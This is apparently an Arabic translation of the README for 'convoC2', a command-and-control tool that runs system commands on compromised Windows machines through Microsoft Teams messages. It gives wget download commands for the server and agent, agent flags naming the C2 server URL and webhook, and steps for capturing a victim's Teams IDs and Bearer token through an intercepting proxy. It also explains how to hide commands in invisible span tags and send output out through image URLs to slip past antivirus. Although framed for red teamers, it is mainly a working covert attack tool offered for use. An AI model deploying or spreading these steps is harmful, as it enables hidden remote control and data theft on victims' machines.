
بنية تحتية لـ C2 عبر Microsoft Teams.
بنية تحتية للقيادة والتحكم (Command and Control) تتيح لفِرَق الاختبار الأمني (Red Teamers) تنفيذ أوامر النظام على الأجهزة المخترقة عبر Microsoft Teams.
تقوم بحقن البيانات داخل وسوم span مخفية في رسائل Microsoft Teams، وتستخرج مخرجات الأوامر عبر عناوين URL للصور في Adaptive Cards، مما يُطلق طلبات خارج النطاق (out-of-bound) إلى خادم C2.
إن غياب الاتصال المباشر بين الضحية والمهاجم، إلى جانب حقيقة أن الضحية لا ترسل سوى طلبات http إلى خوادم Microsoft وأن برامج مكافحة الفيروسات لا تفحص ملفات سجل MS Teams، يجعل الكشف أكثر صعوبة.

يوضح الفيديو التالي استخدام الخادم للتحكم في جهازين مخترقين: أحدهما يعمل بنسخة Teams الجديدة على Windows 11 والآخر يعمل بنسخة Teams القديمة على Windows 10. في الحالة الأولى، لا يكون المهاجم في نفس المؤسسة التي تنتمي إليها الضحية.
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
ملاحظة: في الحالة الأولى، سبق أن قبلت الضحية الدردشة مع المهاجم الخارجي، لكن في سيناريو حقيقي يبدأ فيه المهاجم الدردشة مع الضحية لأول مرة، ستحتاج الضحية إلى تأكيد الدردشة مع المهاجم (رغم أنه يمكن تجاوز رسالة التنبيه هذه بسهولة، انظر هنا). هذه ليست مشكلة: لأن الرسائل تُخزَّن مؤقتًا في ملف السجل على أي حال، فإن الأوامر تُستقبَل وتُنفَّذ حتى لو لم تكن الضحية قد شاهدت الدردشة أو قبلتها بعد.
الخادم
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
الوكيل
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
للحصول على عملها، ستحتاج إلى إعداد بعض الأشياء:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads مع المعرّفات الفريدة للضحية والمهاجم في جسم الطلب. في الاستجابة، سيُعاد threadId في مسار عنوان ترويسة Location.
يُستخدم رمز Bearer لنفس الطلب للمصادقة على https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages، وهو نقطة النهاية لإرسال الرسائل. لذا نحتاج فقط إلى التقاط هذه الأشياء الثلاثة وسيتولى الخادم الباقي.بعد تشغيل الخادم يمكنك استقبال وكلاء جدد والتحكم بهم، باستخدام البيانات التي حصلت عليها سابقًا للمصادقة. راجع العرض التوضيحي للحصول على مثال على الاستخدام.
أولًا وقبل كل شيء، ستحتاج إلى إنشاء قناة Teams.

انقر بزر الفأرة الأيمن على النقاط الثلاث، ثم انقر على "Workflows".

في شريط البحث اكتب "Webhook" وانقر على "Post to a channel when a webhook request is received".

تابع بالإعدادات الافتراضية وأخيرًا انسخ الرابط.

ابدأ بالبحث عن الضحية.

بعد اختيار حساب الضحية، مع اعتراض الوكيل (proxy) للطلبات، يمكنك إرسال رسالة وهمية.

احفظ المعرّفين الموجودين في طلب api/chatsvc/emea/v1/threads ثم DROP الطلب. سيكون رمز المصادقة هو رمز Bearer لنفس الطلب.

استُلهمت هذه البنية التحتية من بحث Teams GIFShell الذي أجراه Bobbyrsec.
في البداية كان هدفي تكرار المشكلة، لكن يبدو أن الحل قد تم إصلاحه جزئيًا. تضمّن البحث حقن أوامر داخل صور GIF المُرمّزة بـ Base64، لكن هذه لم تعد تُعرض بشكل صحيح: كانت تظهر أيقونة صورة تالفة في المحادثة بدلًا من ذلك، مما قد يجعل الضحية يبدأ في الشك.
بعد اختبار طرق متعددة، لاحظت أنه كان من الممكن تضمين الأوامر مباشرة في الرسائل بدلًا من صور GIF أو الصور: إرسال صور متعددة أكثر عرضة لإثارة الشك مقارنة بإرسال رسائل بسيطة، أليس كذلك؟
في البداية فكّرت في تضمين الأوامر في وسوم مثل <script> أو <meta> أو وسوم مخصصة، لكن جميعها تمت تصفيتها. في النهاية، نجح تضمين الأوامر في خاصية aria-label لوسوم <span> مع display:none: لن يرى الضحية سوى الرسالة، لكن الأمر المخفي سيلوّث في الواقع ملف سجل Teams.

تم تطوير واجهة المستخدم النصية (TUI) للخادم باستخدام إطار عمل Go الرائع BubbleTea.
إذا وجدت أخطاء أو أردت تحسين المشروع، فلا تتردد في فتح طلب سحب (pull request) وسيسعدني مراجعة تغييراتك ودمجها في النهاية. المهام قصيرة المدى هي: